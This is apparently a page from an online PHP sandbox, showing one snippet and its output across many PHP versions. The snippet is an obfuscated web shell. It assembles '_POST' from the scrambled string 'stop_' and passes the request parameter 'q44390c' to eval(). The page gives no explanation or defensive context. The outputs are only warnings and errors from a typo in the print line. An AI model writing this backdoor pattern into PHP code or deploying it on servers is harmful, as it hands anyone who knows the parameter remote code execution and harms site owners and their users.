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run code in 300+ PHP versions simultaneously
<?php $qV="stop_"; $s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]); print(${s20}['q44390c']); if(isset(${$s20}['q44390c'])){eval(${$s20}['q44390c']); }
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Fatal error: Uncaught Error: Undefined constant "s20" in /in/GJjvF:4 Stack trace: #0 {main} thrown in /in/GJjvF on line 4
Process exited with code 255.
Output for 7.2.0 - 7.2.33, 7.3.16 - 7.3.33, 7.4.0 - 7.4.33
Warning: Use of undefined constant s20 - assumed 's20' (this will throw an Error in a future version of PHP) in /in/GJjvF on line 4 Warning: Illegal string offset 'q44390c' in /in/GJjvF on line 4 _
Output for 5.5.24 - 5.5.35, 5.6.8 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.20
Notice: Use of undefined constant s20 - assumed 's20' in /in/GJjvF on line 4 Warning: Illegal string offset 'q44390c' in /in/GJjvF on line 4 _

preferences:
162.06 ms | 402 KiB | 183 Q